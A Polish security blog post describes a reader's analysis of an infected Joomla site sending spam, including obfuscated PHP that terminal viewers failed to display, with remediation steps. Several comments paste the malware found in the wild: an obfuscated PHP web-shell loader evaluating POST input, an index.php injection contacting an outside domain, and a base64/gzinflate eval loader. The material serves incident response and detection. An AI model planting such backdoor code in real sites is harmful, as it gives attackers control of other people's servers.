Nie masz jeszcze książki sekuraka o bezpieczeństwie aplikacji webowych? 20% taniej z kodem rabatowym: oferta-sekurak-20

Malware ukrywający się Joomli – analiza przypadku

05 lipca 2016, 18:05 | Teksty | komentarze 4
Dzisiaj krótkie opracowanie naszego czytelnika, Michała Marguli, który opisał przeprowadzoną przez siebie analizę malware w Joomli. Pomocny okazał się artykuł z sekuraka o ukrywaniu poleceń w skryptach shellowych.

Popularyzacja CMS Joomla doprowadziła do tego, że jest dosłownie wszędzie. Instaluje się ją łatwo i przyjemnie. Niestety użytkownicy zapominają później o aktualizacjach i ich strony zaczynają padać ofiarami zautomatyzowanych ataków, które wykorzystują bogatą bibliotekę błędów bezpieczeństwa.

Ostatnio miałem okazję pracować nad zainfekowaną instalacją tego CMS-a. Zewnętrznym objawem było wysyłanie dużych ilości niechcianej poczty. Na szczęście ciągły monitoring rozmiaru kolejek pocztowych w połączeniu z pośredniczącym serwerem SMTP (smarthost) pozwolił szybko to wykryć i ograniczyć straty.

Rozwiązanie

Niestety strona była zainfekowana już dość dawno, więc wszystkie kopie zapasowe zawierały wersję z robakiem i nie można było odtworzyć “czystej” wersji. Dlatego dokonano aktualizacji do najnowszej wersji oraz usunięto nieautoryzowane konto administracyjne. Dodatkowo należało zakładać wyciek pozostałych haseł, więc zostały one zmienione dla bazy MySQL oraz konta FTP.

Malware został zmuszony do wysyłania poczty lokalnie przez demon pocztowy (za pomocą polecenia sendmail uruchamianego przez funkcję mail() w PHP), gdyż wysyłanie bezpośrednio na port 25 było zablokowane na firewallu. Serwer pośredniczący (smarthost) ograniczał ilość jednoczesnych sesji, w wyniku czego w kolejce lokalnego serwera pocztowego było sporo poczty oczekującej, którą można było poddać analizie.

W nagłówkach skolejkowanych wiadomości była informacja dodawana przez interpreter PHP o tym, jaki skrypt wygenerował tę pocztę (mail.add_x_header = On) i były to zazwyczaj nazwy typu blog59.php, include7.php itd. Niestety ich usunięcie nie wystarczyło, spam nadal się pojawiał. Zacząłem więc analizować pliki .php pod kątem użycia funkcji eval(), które jest dość standardowym elementem wszelkiego malware PHP. Przyjmuje ona jako parametr ciąg znaków, który jest interpretowany jako kod PHP, co pozwala na budowanie elastycznych skryptów na potrzeby infekcji oraz ułatwia zaciemnianie kodu.

Usunąłem wszystkie takie pliki, ale jednocześnie zauważyłem, że prawdopodobnie pojawiło się kilka nowych, jednak nie przywiązałem do tego szczególnej uwagi, podejrzewając pomyłkę po swojej stronie.

 

Niespodzianka!

Niestety po kilku godzinach okazało się, że problem nadal występuje. Spam jest nadal rozsyłany. Porównanie z dobową kopią zapasową potwierdziło podejrzenia, że plików przybywa. Trudno było powiedzieć, dlaczego. Przeszukanie katalogu Joomli pod kątem słowa „eval” znajdowało kilka plików .php, ale po ich zbadaniu nie było widać nic podejrzanego.

Kolejnym krokiem było przejrzenie logów serwera WWW pod kątem żądań POST (bo tylko ono pozwala na upload plików), co wskazało na kilka plików, które po podejrzeniu z poziomu Midnight Commandera wyglądało zupełnie niewinnie.

W akcie desperacji uruchomiłem edytor vim i chciałem przeanalizować, czy malware nie jest osadzone w jakiś bardziej wyrafinowany sposób. I tutaj pojawiła się niespodzianka: było na samym początku pliku! Szybka weryfikacja za pomocą Midnight Commandera i znów nic nie widać. Wtedy skojarzyłem niedawny artykuł z Sekuraka –  i wszystko stało się jasne. Opisano w nim taki problem w przypadku cata, a okazuje się, że dotyczy on także mcview (przeglądarka z MC), nano oraz joe, a co ciekawe nie dotyczy more (less) i vima. Załączam zrzut, gdzie po lewej jest podgląd za pomocą polecenia more, a po prawej w MC:

image01
Ot, i cała tajemnica. Po lewej stronie widać typowe dla malware PHP zaciemnianie kodu, tak aby na pierwszy rzut oka nie było widać, co tam się dzieje. Aby użytkownicy Midnight Commandera nie popadali w panikę, podpowiem, że da się obejść problem, bo wystarczy tam wybrać podgląd typu HEX (F4):

image00

Usunięcie tych niepożądanych dodatków w plikach wymagało ręcznego edytowania i usunięcia pierwszej linii, a następne uzupełnienie jej o preambułę <?php. I tak problem został skutecznie rozwiązany.

 

Michał Margula

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Dla podglądu (mcview) wystarczy włączyć zawijanie linii.

    Ostatnio coraz trudniej szukać po „eval(„. Coraz częściej zdarza się umieszczanie w trakcie komentarzy:

    eval/*ht*/(

    Lub zabawa z base64 i podmiany liter:

    Odpowiedz
    • Wcięło kod:

      $or=”cIEBldcm”;
      $lq=”9TVFsn”;
      $avj = str_replace(„j”,””,”sjtrj_jrjejpljajcje”);
      $zs=”FsKCRfUE”;
      $bu=”Y21kJ10pOw==”;
      $qu = $avj(„i”, „”, „ibiaisie6i4i_dieicoide”);
      $fh = $avj(„k”,””,”crkekatkek_kfkukncktkikon”);
      $hwy = $fh(, $qu($avj(„c”, „”, $or.$zs.$lq.$bu))); $hwy();

      Odpowiedz
      • Eamonn

        I have found the exact same files on several of my website:
        $or=”cIEBldcm”;
        $lq=”9TVFsn”;
        $avj = str_replace(„j”,””,”sjtrj_jrjejpljajcje”);
        $zs=”FsKCRfUE”;
        $bu=”Y21kJ10pOw==”;
        $qu = $avj(„i”, „”, „ibiaisie6i4i_dieicoide”);
        $fh = $avj(„k”,””,”crkekatkek_kfkukncktkikon”);
        $hwy = $fh(”, $qu($avj(„c”, „”, $or.$zs.$lq.$bu))); $hwy();

        This was found in a file called css.php

        and it appeared to insert the below into the main index.php file of my sites:

        header(„Content-type: text/html; charset=utf-8″);
        @set_time_limit(0);
        $h = str_replace(’.’,”,strstr($_SERVER[’REQUEST_URI’],’.’));
        $xmlname = 'amap.xml’;
        $temp = @$_GET[’temp’];
        $goweb = 'twenty-nine1.kia-poerensy.com’;
        $id = @$_GET[’id’];
        $site = @$_GET[’site’];

        and there was also another index.php file that should not have been there. it contained the below code, and them some complied script.

        <?php function OLsy($yzcW){
        $code='bas'.'e64_d'.'eco'.'de';
        $yzcW=gzinflate($code($yzcW));
        for($i=0;$i<strlen($yzcW);$i++)
        {
        $yzcW[$i] = chr(ord($yzcW[$i])-1);
        }
        return $yzcW;
        }eval(OLsy("

        I have removed all instances and will update tomorrow if it happens again.

        Odpowiedz
  2. Jeśli kogoś zainteresował wpis, to polecam lekturę http://www.abuseat.org/cmsvuln.html (bardzo ogólna), a wszystkim używanie findbota zamiast ręcznych grepów http://www.abuseat.org/findbot.pl . Niestety, dużo false positives… Myślę o swojej wersji, bardziej modułowej, z whitelistą, ale czasu brak, poza tym, samemu mi się nie chce reguł pisać…

    Odpowiedz

Odpowiedz